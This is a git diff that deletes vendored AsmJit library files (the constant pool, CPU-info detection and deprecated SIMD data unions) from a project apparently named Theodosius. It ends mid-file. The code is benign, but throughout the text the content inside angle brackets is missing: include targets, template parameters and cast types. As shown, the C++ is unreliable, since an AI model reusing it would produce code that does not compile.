a/src/Theodosius/asmjit/core/constpool.h +++ /dev/null @@ -1,262 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_CONSTPOOL_H_INCLUDED -#define ASMJIT_CORE_CONSTPOOL_H_INCLUDED - -#include "../core/support.h" -#include "../core/zone.h" -#include "../core/zonetree.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_utilities -//! \{ - -// ============================================================================ -// [asmjit::ConstPool] -// ============================================================================ - -//! Constant pool. -class ConstPool { -public: - ASMJIT_NONCOPYABLE(ConstPool) - - //! Constant pool scope. - enum Scope : uint32_t { - //! Local constant, always embedded right after the current function. - kScopeLocal = 0, - //! Global constant, embedded at the end of the currently compiled code. - kScopeGlobal = 1 - }; - - //! \cond INTERNAL - - //! Index of a given size in const-pool table. - enum Index : uint32_t { - kIndex1 = 0, - kIndex2 = 1, - kIndex4 = 2, - kIndex8 = 3, - kIndex16 = 4, - kIndex32 = 5, - kIndexCount = 6 - }; - - //! Zone-allocated const-pool gap created by two differently aligned constants. - struct Gap { - //! Pointer to the next gap - Gap* _next; - //! Offset of the gap. - size_t _offset; - //! Remaining bytes of the gap (basically a gap size). - size_t _size; - }; - - //! Zone-allocated const-pool node. - class Node : public ZoneTreeNodeT { - public: - ASMJIT_NONCOPYABLE(Node) - - //! If this constant is shared with another. - uint32_t _shared : 1; - //! Data offset from the beginning of the pool. - uint32_t _offset; - - inline Node(size_t offset, bool shared) noexcept - : ZoneTreeNodeT(), - _shared(shared), - _offset(uint32_t(offset)) {} - - inline void* data() const noexcept { - return static_cast(const_cast(this) + 1); - } - }; - - //! Data comparer used internally. - class Compare { - public: - size_t _dataSize; - - inline Compare(size_t dataSize) noexcept - : _dataSize(dataSize) {} - - inline int operator()(const Node& a, const Node& b) const noexcept { - return ::memcmp(a.data(), b.data(), _dataSize); - } - - inline int operator()(const Node& a, const void* data) const noexcept { - return ::memcmp(a.data(), data, _dataSize); - } - }; - - //! Zone-allocated const-pool tree. - struct Tree { - //! RB tree. - ZoneTree _tree; - //! Size of the tree (number of nodes). - size_t _size; - //! Size of the data. - size_t _dataSize; - - inline explicit Tree(size_t dataSize = 0) noexcept - : _tree(), - _size(0), - _dataSize(dataSize) {} - - inline void reset() noexcept { - _tree.reset(); - _size = 0; - } - - inline bool empty() const noexcept { return _size == 0; } - inline size_t size() const noexcept { return _size; } - - inline void setDataSize(size_t dataSize) noexcept { - ASMJIT_ASSERT(empty()); - _dataSize = dataSize; - } - - inline Node* get(const void* data) noexcept { - Compare cmp(_dataSize); - return _tree.get(data, cmp); - } - - inline void insert(Node* node) noexcept { - Compare cmp(_dataSize); - _tree.insert(node, cmp); - _size++; - } - - template - inline void forEach(Visitor& visitor) const noexcept { - Node* node = _tree.root(); - if (!node) return; - - Node* stack[Globals::kMaxTreeHeight]; - size_t top = 0; - - for (;;) { - Node* left = node->left(); - if (left != nullptr) { - ASMJIT_ASSERT(top != Globals::kMaxTreeHeight); - stack[top++] = node; - - node = left; - continue; - } - - for (;;) { - visitor(node); - node = node->right(); - - if (node != nullptr) - break; - - if (top == 0) - return; - - node = stack[--top]; - } - } - } - - static inline Node* _newNode(Zone* zone, const void* data, size_t size, size_t offset, bool shared) noexcept { - Node* node = zone->allocT(sizeof(Node) + size); - if (ASMJIT_UNLIKELY(!node)) return nullptr; - - node = new(node) Node(offset, shared); - memcpy(node->data(), data, size); - return node; - } - }; - - //! \endcond - - //! Zone allocator. - Zone* _zone; - //! Tree per size. - Tree _tree[kIndexCount]; - //! Gaps per size. - Gap* _gaps[kIndexCount]; - //! Gaps pool - Gap* _gapPool; - - //! Size of the pool (in bytes). - size_t _size; - //! Required pool alignment. - size_t _alignment; - - //! \name Construction & Destruction - //! \{ - - ASMJIT_API ConstPool(Zone* zone) noexcept; - ASMJIT_API ~ConstPool() noexcept; - - ASMJIT_API void reset(Zone* zone) noexcept; - - //! \} - - //! \name Accessors - //! \{ - - //! Tests whether the constant-pool is empty. - inline bool empty() const noexcept { return _size == 0; } - //! Returns the size of the constant-pool in bytes. - inline size_t size() const noexcept { return _size; } - //! Returns minimum alignment. - inline size_t alignment() const noexcept { return _alignment; } - - //! \} - - //! \name Utilities - //! \{ - - //! Adds a constant to the constant pool. - //! - //! The constant must have known size, which is 1, 2, 4, 8, 16 or 32 bytes. - //! The constant is added to the pool only if it doesn't not exist, otherwise - //! cached value is returned. - //! - //! AsmJit is able to subdivide added constants, so for example if you add - //! 8-byte constant 0x1122334455667788 it will create the following slots: - //! - //! 8-byte: 0x1122334455667788 - //! 4-byte: 0x11223344, 0x55667788 - //! - //! The reason is that when combining MMX/SSE/AVX code some patterns are used - //! frequently. However, AsmJit is not able to reallocate a constant that has - //! been already added. For example if you try to add 4-byte constant and then - //! 8-byte constant having the same 4-byte pattern as the previous one, two - //! independent slots will be generated by the pool. - ASMJIT_API Error add(const void* data, size_t size, size_t& dstOffset) noexcept; - - //! Fills the destination with the content of this constant pool. - ASMJIT_API void fill(void* dst) const noexcept; -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_CONSTPOOL_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/cpuinfo.cpp b/src/Theodosius/asmjit/core/cpuinfo.cpp deleted file mode 100644 index edc7d17..0000000 --- a/src/Theodosius/asmjit/core/cpuinfo.cpp +++ /dev/null @@ -1,97 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/cpuinfo.h" - -#if !defined(_WIN32) - #include - #include - #include -#endif - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::CpuInfo - Detect - CPU NumThreads] -// ============================================================================ - -#if defined(_WIN32) -static inline uint32_t detectHWThreadCount() noexcept { - SYSTEM_INFO info; - ::GetSystemInfo(&info); - return info.dwNumberOfProcessors; -} -#elif defined(_SC_NPROCESSORS_ONLN) -static inline uint32_t detectHWThreadCount() noexcept { - long res = ::sysconf(_SC_NPROCESSORS_ONLN); - return res <= 0 ? uint32_t(1) : uint32_t(res); -} -#else -static inline uint32_t detectHWThreadCount() noexcept { - return 1; -} -#endif - -// ============================================================================ -// [asmjit::CpuInfo - Detect - CPU Features] -// ============================================================================ - -#if defined(ASMJIT_BUILD_X86) && ASMJIT_ARCH_X86 -namespace x86 { void detectCpu(CpuInfo& cpu) noexcept; } -#endif - -#if defined(ASMJIT_BUILD_ARM) && ASMJIT_ARCH_ARM -namespace arm { void detectCpu(CpuInfo& cpu) noexcept; } -#endif - -// ============================================================================ -// [asmjit::CpuInfo - Detect - Static Initializer] -// ============================================================================ - -static uint32_t cpuInfoInitialized; -static CpuInfo cpuInfoGlobal(Globals::NoInit); - -const CpuInfo& CpuInfo::host() noexcept { - // This should never cause a problem as the resulting information should - // always be the same. - if (!cpuInfoInitialized) { - CpuInfo cpuInfoLocal; - -#if defined(ASMJIT_BUILD_X86) && ASMJIT_ARCH_X86 - x86::detectCpu(cpuInfoLocal); -#endif - -#if defined(ASMJIT_BUILD_ARM) && ASMJIT_ARCH_ARM - arm::detectCpu(cpuInfoLocal); -#endif - - cpuInfoLocal._hwThreadCount = detectHWThreadCount(); - cpuInfoGlobal = cpuInfoLocal; - cpuInfoInitialized = 1; - } - - return cpuInfoGlobal; -} - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/cpuinfo.h b/src/Theodosius/asmjit/core/cpuinfo.h deleted file mode 100644 index 83bb8c1..0000000 --- a/src/Theodosius/asmjit/core/cpuinfo.h +++ /dev/null @@ -1,154 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_CPUINFO_H_INCLUDED -#define ASMJIT_CORE_CPUINFO_H_INCLUDED - -#include "../core/archtraits.h" -#include "../core/features.h" -#include "../core/globals.h" -#include "../core/string.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_core -//! \{ - -// ============================================================================ -// [asmjit::CpuInfo] -// ============================================================================ - -//! CPU information. -class CpuInfo { -public: - //! Architecture. - uint8_t _arch; - //! Sub-architecture. - uint8_t _subArch; - //! Reserved for future use. - uint16_t _reserved; - //! CPU family ID. - uint32_t _familyId; - //! CPU model ID. - uint32_t _modelId; - //! CPU brand ID. - uint32_t _brandId; - //! CPU stepping. - uint32_t _stepping; - //! Processor type. - uint32_t _processorType; - //! Maximum number of addressable IDs for logical processors. - uint32_t _maxLogicalProcessors; - //! Cache line size (in bytes). - uint32_t _cacheLineSize; - //! Number of hardware threads. - uint32_t _hwThreadCount; - - //! CPU vendor string. - FixedString<16> _vendor; - //! CPU brand string. - FixedString<64> _brand; - //! CPU features. - BaseFeatures _features; - - //! \name Construction & Destruction - //! \{ - - inline CpuInfo() noexcept { reset(); } - inline CpuInfo(const CpuInfo& other) noexcept = default; - - inline explicit CpuInfo(Globals::NoInit_) noexcept - : _features(Globals::NoInit) {}; - - //! Returns the host CPU information. - ASMJIT_API static const CpuInfo& host() noexcept; - - //! Initializes CpuInfo to the given architecture, see \ref Environment. - inline void initArch(uint32_t arch, uint32_t subArch = 0u) noexcept { - _arch = uint8_t(arch); - _subArch = uint8_t(subArch); - } - - inline void reset() noexcept { memset(this, 0, sizeof(*this)); } - - //! \} - - //! \name Overloaded Operators - //! \{ - - inline CpuInfo& operator=(const CpuInfo& other) noexcept = default; - - //! \} - - //! \name Accessors - //! \{ - - //! Returns the CPU architecture id, see \ref Environment::Arch. - inline uint32_t arch() const noexcept { return _arch; } - //! Returns the CPU architecture sub-id, see \ref Environment::SubArch. - inline uint32_t subArch() const noexcept { return _subArch; } - - //! Returns the CPU family ID. - inline uint32_t familyId() const noexcept { return _familyId; } - //! Returns the CPU model ID. - inline uint32_t modelId() const noexcept { return _modelId; } - //! Returns the CPU brand id. - inline uint32_t brandId() const noexcept { return _brandId; } - //! Returns the CPU stepping. - inline uint32_t stepping() const noexcept { return _stepping; } - //! Returns the processor type. - inline uint32_t processorType() const noexcept { return _processorType; } - //! Returns the number of maximum logical processors. - inline uint32_t maxLogicalProcessors() const noexcept { return _maxLogicalProcessors; } - - //! Returns the size of a cache line flush. - inline uint32_t cacheLineSize() const noexcept { return _cacheLineSize; } - //! Returns number of hardware threads available. - inline uint32_t hwThreadCount() const noexcept { return _hwThreadCount; } - - //! Returns the CPU vendor. - inline const char* vendor() const noexcept { return _vendor.str; } - //! Tests whether the CPU vendor is equal to `s`. - inline bool isVendor(const char* s) const noexcept { return _vendor.eq(s); } - - //! Returns the CPU brand string. - inline const char* brand() const noexcept { return _brand.str; } - - //! Returns all CPU features as `BaseFeatures`, cast to your arch-specific class - //! if needed. - template - inline const T& features() const noexcept { return _features.as(); } - - //! Tests whether the CPU has the given `feature`. - inline bool hasFeature(uint32_t featureId) const noexcept { return _features.has(featureId); } - //! Adds the given CPU `feature` to the list of this CpuInfo features. - inline CpuInfo& addFeature(uint32_t featureId) noexcept { _features.add(featureId); return *this; } - - //! \} -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_CPUINFO_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/datatypes.h b/src/Theodosius/asmjit/core/datatypes.h deleted file mode 100644 index 2f6cc1e..0000000 --- a/src/Theodosius/asmjit/core/datatypes.h +++ /dev/null @@ -1,1071 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_DATATYPES_H_INCLUDED -#define ASMJIT_CORE_DATATYPES_H_INCLUDED - -#include "../core/globals.h" - -#ifndef ASMJIT_NO_DEPRECATED - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::Data64] -// ============================================================================ - -//! 64-bit data useful for creating SIMD constants. -union ASMJIT_DEPRECATED_STRUCT("Data64 is deprecated and will be removed in the future") Data64 { - //! Array of eight 8-bit signed integers. - int8_t sb[8]; - //! Array of eight 8-bit unsigned integers. - uint8_t ub[8]; - //! Array of four 16-bit signed integers. - int16_t sw[4]; - //! Array of four 16-bit unsigned integers. - uint16_t uw[4]; - //! Array of two 32-bit signed integers. - int32_t sd[2]; - //! Array of two 32-bit unsigned integers. - uint32_t ud[2]; - //! Array of one 64-bit signed integer. - int64_t sq[1]; - //! Array of one 64-bit unsigned integer. - uint64_t uq[1]; - - //! Array of two SP-FP values. - float sf[2]; - //! Array of one DP-FP value. - double df[1]; - - //! \name Construction & Destruction - //! \{ - - //! Sets all eight 8-bit signed integers. - static inline Data64 fromI8(int8_t x0) noexcept { - Data64 self; - self.setI8(x0); - return self; - } - - //! Sets all eight 8-bit unsigned integers. - static inline Data64 fromU8(uint8_t x0) noexcept { - Data64 self; - self.setU8(x0); - return self; - } - - //! Sets all eight 8-bit signed integers. - static inline Data64 fromI8( - int8_t x0, int8_t x1, int8_t x2, int8_t x3, int8_t x4, int8_t x5, int8_t x6, int8_t x7) noexcept { - - Data64 self; - self.setI8(x0, x1, x2, x3, x4, x5, x6, x7); - return self; - } - - //! Sets all eight 8-bit unsigned integers. - static inline Data64 fromU8( - uint8_t x0, uint8_t x1, uint8_t x2, uint8_t x3, uint8_t x4, uint8_t x5, uint8_t x6, uint8_t x7) noexcept { - - Data64 self; - self.setU8(x0, x1, x2, x3, x4, x5, x6, x7); - return self; - } - - //! Sets all four 16-bit signed integers. - static inline Data64 fromI16(int16_t x0) noexcept { - Data64 self; - self.setI16(x0); - return self; - } - - //! Sets all four 16-bit unsigned integers. - static inline Data64 fromU16(uint16_t x0) noexcept { - Data64 self; - self.setU16(x0); - return self; - } - - //! Sets all four 16-bit signed integers. - static inline Data64 fromI16(int16_t x0, int16_t x1, int16_t x2, int16_t x3) noexcept { - Data64 self; - self.setI16(x0, x1, x2, x3); - return self; - } - - //! Sets all four 16-bit unsigned integers. - static inline Data64 fromU16(uint16_t x0, uint16_t x1, uint16_t x2, uint16_t x3) noexcept { - Data64 self; - self.setU16(x0, x1, x2, x3); - return self; - } - - //! Sets all two 32-bit signed integers. - static inline Data64 fromI32(int32_t x0) noexcept { - Data64 self; - self.setI32(x0); - return self; - } - - //! Sets all two 32-bit unsigned integers. - static inline Data64 fromU32(uint32_t x0) noexcept { - Data64 self; - self.setU32(x0); - return self; - } - - //! Sets all two 32-bit signed integers. - static inline Data64 fromI32(int32_t x0, int32_t x1) noexcept { - Data64 self; - self.setI32(x0, x1); - return self; - } - - //! Sets all two 32-bit unsigned integers. - static inline Data64 fromU32(uint32_t x0, uint32_t x1) noexcept { - Data64 self; - self.setU32(x0, x1); - return self; - } - - //! Sets 64-bit signed integer. - static inline Data64 fromI64(int64_t x0) noexcept { - Data64 self; - self.setI64(x0); - return self; - } - - //! Sets 64-bit unsigned integer. - static inline Data64 fromU64(uint64_t x0) noexcept { - Data64 self; - self.setU64(x0); - return self; - } - - //! Sets all two SP-FP values. - static inline Data64 fromF32(float x0) noexcept { - Data64 self; - self.setF32(x0); - return self; - } - - //! Sets all two SP-FP values. - static inline Data64 fromF32(float x0, float x1) noexcept { - Data64 self; - self.setF32(x0, x1); - return self; - } - - //! Sets all two SP-FP values. - static inline Data64 fromF64(double x0) noexcept { - Data64 self; - self.setF64(x0); - return self; - } - - //! \} - - //! \name Accessors - //! \{ - - //! Sets all eight 8-bit signed integers. - inline void setI8(int8_t x0) noexcept { - setU8(uint8_t(x0)); - } - - //! Sets all eight 8-bit unsigned integers. - inline void setU8(uint8_t x0) noexcept { - if (ASMJIT_ARCH_BITS >= 64) { - uint64_t xq = uint64_t(x0) * 0x0101010101010101u; - uq[0] = xq; - } - else { - uint32_t xd = uint32_t(x0) * 0x01010101u; - ud[0] = xd; - ud[1] = xd; - } - } - - //! Sets all eight 8-bit signed integers. - inline void setI8( - int8_t x0, int8_t x1, int8_t x2, int8_t x3, int8_t x4, int8_t x5, int8_t x6, int8_t x7) noexcept { - - sb[0] = x0; sb[1] = x1; sb[2] = x2; sb[3] = x3; - sb[4] = x4; sb[5] = x5; sb[6] = x6; sb[7] = x7; - } - - //! Sets all eight 8-bit unsigned integers. - inline void setU8( - uint8_t x0, uint8_t x1, uint8_t x2, uint8_t x3, uint8_t x4, uint8_t x5, uint8_t x6, uint8_t x7) noexcept { - - ub[0] = x0; ub[1] = x1; ub[2] = x2; ub[3] = x3; - ub[4] = x4; ub[5] = x5; ub[6] = x6; ub[7] = x7; - } - - //! Sets all four 16-bit signed integers. - inline void setI16(int16_t x0) noexcept { - setU16(uint16_t(x0)); - } - - //! Sets all four 16-bit unsigned integers. - inline void setU16(uint16_t x0) noexcept { - if (ASMJIT_ARCH_BITS >= 64) { - uint64_t xq = uint64_t(x0) * 0x0001000100010001u; - uq[0] = xq; - } - else { - uint32_t xd = uint32_t(x0) * 0x00010001u; - ud[0] = xd; - ud[1] = xd; - } - } - - //! Sets all four 16-bit signed integers. - inline void setI16(int16_t x0, int16_t x1, int16_t x2, int16_t x3) noexcept { - sw[0] = x0; sw[1] = x1; sw[2] = x2; sw[3] = x3; - } - - //! Sets all four 16-bit unsigned integers. - inline void setU16(uint16_t x0, uint16_t x1, uint16_t x2, uint16_t x3) noexcept { - uw[0] = x0; uw[1] = x1; uw[2] = x2; uw[3] = x3; - } - - //! Sets all two 32-bit signed integers. - inline void setI32(int32_t x0) noexcept { - sd[0] = x0; sd[1] = x0; - } - - //! Sets all two 32-bit unsigned integers. - inline void setU32(uint32_t x0) noexcept { - ud[0] = x0; ud[1] = x0; - } - - //! Sets all two 32-bit signed integers. - inline void setI32(int32_t x0, int32_t x1) noexcept { - sd[0] = x0; sd[1] = x1; - } - - //! Sets all two 32-bit unsigned integers. - inline void setU32(uint32_t x0, uint32_t x1) noexcept { - ud[0] = x0; ud[1] = x1; - } - - //! Sets 64-bit signed integer. - inline void setI64(int64_t x0) noexcept { - sq[0] = x0; - } - - //! Sets 64-bit unsigned integer. - inline void setU64(uint64_t x0) noexcept { - uq[0] = x0; - } - - //! Sets all two SP-FP values. - inline void setF32(float x0) noexcept { - sf[0] = x0; sf[1] = x0; - } - - //! Sets all two SP-FP values. - inline void setF32(float x0, float x1) noexcept { - sf[0] = x0; sf[1] = x1; - } - - //! Sets all two SP-FP values. - inline void setF64(double x0) noexcept { - df[0] = x0; - } -}; - -// ============================================================================ -// [asmjit::Data128] -// ============================================================================ - -//! 128-bit data useful for creating SIMD constants. -union ASMJIT_DEPRECATED_STRUCT("Data128 is deprecated and will be removed in the future") Data128 { - //! Array of sixteen 8-bit signed integers. - int8_t sb[16]; - //! Array of sixteen 8-bit unsigned integers. - uint8_t ub[16]; - //! Array of eight 16-bit signed integers. - int16_t sw[8]; - //! Array of eight 16-bit unsigned integers. - uint16_t uw[8]; - //! Array of four 32-bit signed integers. - int32_t sd[4]; - //! Array of four 32-bit unsigned integers. - uint32_t ud[4]; - //! Array of two 64-bit signed integers. - int64_t sq[2]; - //! Array of two 64-bit unsigned integers. - uint64_t uq[2]; - - //! Array of four 32-bit single precision floating points. - float sf[4]; - //! Array of two 64-bit double precision floating points. - double df[2]; - - //! \name Construction & Destruction - //! \{ - - //! Sets all sixteen 8-bit signed integers. - static inline Data128 fromI8(int8_t x0) noexcept { - Data128 self; - self.setI8(x0); - return self; - } - - //! Sets all sixteen 8-bit unsigned integers. - static inline Data128 fromU8(uint8_t x0) noexcept { - Data128 self; - self.setU8(x0); - return self; - } - - //! Sets all sixteen 8-bit signed integers. - static inline Data128 fromI8( - int8_t x0 , int8_t x1 , int8_t x2 , int8_t x3 , - int8_t x4 , int8_t x5 , int8_t x6 , int8_t x7 , - int8_t x8 , int8_t x9 , int8_t x10, int8_t x11, - int8_t x12, int8_t x13, int8_t x14, int8_t x15) noexcept { - - Data128 self; - self.setI8(x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15); - return self; - } - - //! Sets all sixteen 8-bit unsigned integers. - static inline Data128 fromU8( - uint8_t x0 , uint8_t x1 , uint8_t x2 , uint8_t x3 , - uint8_t x4 , uint8_t x5 , uint8_t x6 , uint8_t x7 , - uint8_t x8 , uint8_t x9 , uint8_t x10, uint8_t x11, - uint8_t x12, uint8_t x13, uint8_t x14, uint8_t x15) noexcept { - - Data128 self; - self.setU8(x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15); - return self; - } - - //! Sets all eight 16-bit signed integers. - static inline Data128 fromI16(int16_t x0) noexcept { - Data128 self; - self.setI16(x0); - return self; - } - - //! Sets all eight 16-bit unsigned integers. - static inline Data128 fromU16(uint16_t x0) noexcept { - Data128 self; - self.setU16(x0); - return self; - } - - //! Sets all eight 16-bit signed integers. - static inline Data128 fromI16( - int16_t x0, int16_t x1, int16_t x2, int16_t x3, int16_t x4, int16_t x5, int16_t x6, int16_t x7) noexcept { - - Data128 self; - self.setI16(x0, x1, x2, x3, x4, x5, x6, x7); - return self; - } - - //! Sets all eight 16-bit unsigned integers. - static inline Data128 fromU16( - uint16_t x0, uint16_t x1, uint16_t x2, uint16_t x3, uint16_t x4, uint16_t x5, uint16_t x6, uint16_t x7) noexcept { - - Data128 self; - self.setU16(x0, x1, x2, x3, x4, x5, x6, x7); - return self; - } - - //! Sets all four 32-bit signed integers. - static inline Data128 fromI32(int32_t x0) noexcept { - Data128 self; - self.setI32(x0); - return self; - } - - //! Sets all four 32-bit unsigned integers. - static inline Data128 fromU32(uint32_t x0) noexcept { - Data128 self; - self.setU32(x0); - return self; - } - - //! Sets all four 32-bit signed integers. - static inline Data128 fromI32(int32_t x0, int32_t x1, int32_t x2, int32_t x3) noexcept { - Data128 self; - self.setI32(x0, x1, x2, x3); - return self; - } - - //! Sets all four 32-bit unsigned integers. - static inline Data128 fromU32(uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3) noexcept { - Data128 self; - self.setU32(x0, x1, x2, x3); - return self; - } - - //! Sets all two 64-bit signed integers. - static inline Data128 fromI64(int64_t x0) noexcept { - Data128 self; - self.setI64(x0); - return self; - } - - //! Sets all two 64-bit unsigned integers. - static inline Data128 fromU64(uint64_t x0) noexcept { - Data128 self; - self.setU64(x0); - return self; - } - - //! Sets all two 64-bit signed integers. - static inline Data128 fromI64(int64_t x0, int64_t x1) noexcept { - Data128 self; - self.setI64(x0, x1); - return self; - } - - //! Sets all two 64-bit unsigned integers. - static inline Data128 fromU64(uint64_t x0, uint64_t x1) noexcept { - Data128 self; - self.setU64(x0, x1); - return self; - } - - //! Sets all four SP-FP floats. - static inline Data128 fromF32(float x0) noexcept { - Data128 self; - self.setF32(x0); - return self; - } - - //! Sets all four SP-FP floats. - static inline Data128 fromF32(float x0, float x1, float x2, float x3) noexcept { - Data128 self; - self.setF32(x0, x1, x2, x3); - return self; - } - - //! Sets all two DP-FP floats. - static inline Data128 fromF64(double x0) noexcept { - Data128 self; - self.setF64(x0); - return self; - } - - //! Sets all two DP-FP floats. - static inline Data128 fromF64(double x0, double x1) noexcept { - Data128 self; - self.setF64(x0, x1); - return self; - } - - //! \} - - //! \name Accessors - //! \{ - - //! Sets all sixteen 8-bit signed integers. - inline void setI8(int8_t x0) noexcept { - setU8(uint8_t(x0)); - } - - //! Sets all sixteen 8-bit unsigned integers. - inline void setU8(uint8_t x0) noexcept { - if (ASMJIT_ARCH_BITS >= 64) { - uint64_t xq = uint64_t(x0) * 0x0101010101010101u; - uq[0] = xq; - uq[1] = xq; - } - else { - uint32_t xd = uint32_t(x0) * 0x01010101u; - ud[0] = xd; - ud[1] = xd; - ud[2] = xd; - ud[3] = xd; - } - } - - //! Sets all sixteen 8-bit signed integers. - inline void setI8( - int8_t x0 , int8_t x1 , int8_t x2 , int8_t x3 , - int8_t x4 , int8_t x5 , int8_t x6 , int8_t x7 , - int8_t x8 , int8_t x9 , int8_t x10, int8_t x11, - int8_t x12, int8_t x13, int8_t x14, int8_t x15) noexcept { - - sb[0 ] = x0 ; sb[1 ] = x1 ; sb[2 ] = x2 ; sb[3 ] = x3 ; - sb[4 ] = x4 ; sb[5 ] = x5 ; sb[6 ] = x6 ; sb[7 ] = x7 ; - sb[8 ] = x8 ; sb[9 ] = x9 ; sb[10] = x10; sb[11] = x11; - sb[12] = x12; sb[13] = x13; sb[14] = x14; sb[15] = x15; - } - - //! Sets all sixteen 8-bit unsigned integers. - inline void setU8( - uint8_t x0 , uint8_t x1 , uint8_t x2 , uint8_t x3 , - uint8_t x4 , uint8_t x5 , uint8_t x6 , uint8_t x7 , - uint8_t x8 , uint8_t x9 , uint8_t x10, uint8_t x11, - uint8_t x12, uint8_t x13, uint8_t x14, uint8_t x15) noexcept { - - ub[0 ] = x0 ; ub[1 ] = x1 ; ub[2 ] = x2 ; ub[3 ] = x3 ; - ub[4 ] = x4 ; ub[5 ] = x5 ; ub[6 ] = x6 ; ub[7 ] = x7 ; - ub[8 ] = x8 ; ub[9 ] = x9 ; ub[10] = x10; ub[11] = x11; - ub[12] = x12; ub[13] = x13; ub[14] = x14; ub[15] = x15; - } - - //! Sets all eight 16-bit signed integers. - inline void setI16(int16_t x0) noexcept { - setU16(uint16_t(x0)); - } - - //! Sets all eight 16-bit unsigned integers. - inline void setU16(uint16_t x0) noexcept { - if (ASMJIT_ARCH_BITS >= 64) { - uint64_t xq = uint64_t(x0) * 0x0001000100010001u; - uq[0] = xq; - uq[1] = xq; - } - else { - uint32_t xd = uint32_t(x0) * 0x00010001u; - ud[0] = xd; - ud[1] = xd; - ud[2] = xd; - ud[3] = xd; - } - } - - //! Sets all eight 16-bit signed integers. - inline void setI16( - int16_t x0, int16_t x1, int16_t x2, int16_t x3, int16_t x4, int16_t x5, int16_t x6, int16_t x7) noexcept { - - sw[0] = x0; sw[1] = x1; sw[2] = x2; sw[3] = x3; - sw[4] = x4; sw[5] = x5; sw[6] = x6; sw[7] = x7; - } - - //! Sets all eight 16-bit unsigned integers. - inline void setU16( - uint16_t x0, uint16_t x1, uint16_t x2, uint16_t x3, uint16_t x4, uint16_t x5, uint16_t x6, uint16_t x7) noexcept { - - uw[0] = x0; uw[1] = x1; uw[2] = x2; uw[3] = x3; - uw[4] = x4; uw[5] = x5; uw[6] = x6; uw[7] = x7; - } - - //! Sets all four 32-bit signed integers. - inline void setI32(int32_t x0) noexcept { - setU32(uint32_t(x0)); - } - - //! Sets all four 32-bit unsigned integers. - inline void setU32(uint32_t x0) noexcept { - if (ASMJIT_ARCH_BITS >= 64) { - uint64_t t = (uint64_t(x0) << 32) + x0; - uq[0] = t; - uq[1] = t; - } - else { - ud[0] = x0; - ud[1] = x0; - ud[2] = x0; - ud[3] = x0; - } - } - - //! Sets all four 32-bit signed integers. - inline void setI32(int32_t x0, int32_t x1, int32_t x2, int32_t x3) noexcept { - sd[0] = x0; sd[1] = x1; sd[2] = x2; sd[3] = x3; - } - - //! Sets all four 32-bit unsigned integers. - inline void setU32(uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3) noexcept { - ud[0] = x0; ud[1] = x1; ud[2] = x2; ud[3] = x3; - } - - //! Sets all two 64-bit signed integers. - inline void setI64(int64_t x0) noexcept { - sq[0] = x0; sq[1] = x0; - } - - //! Sets all two 64-bit unsigned integers. - inline void setU64(uint64_t x0) noexcept { - uq[0] = x0; uq[1] = x0; - } - - //! Sets all two 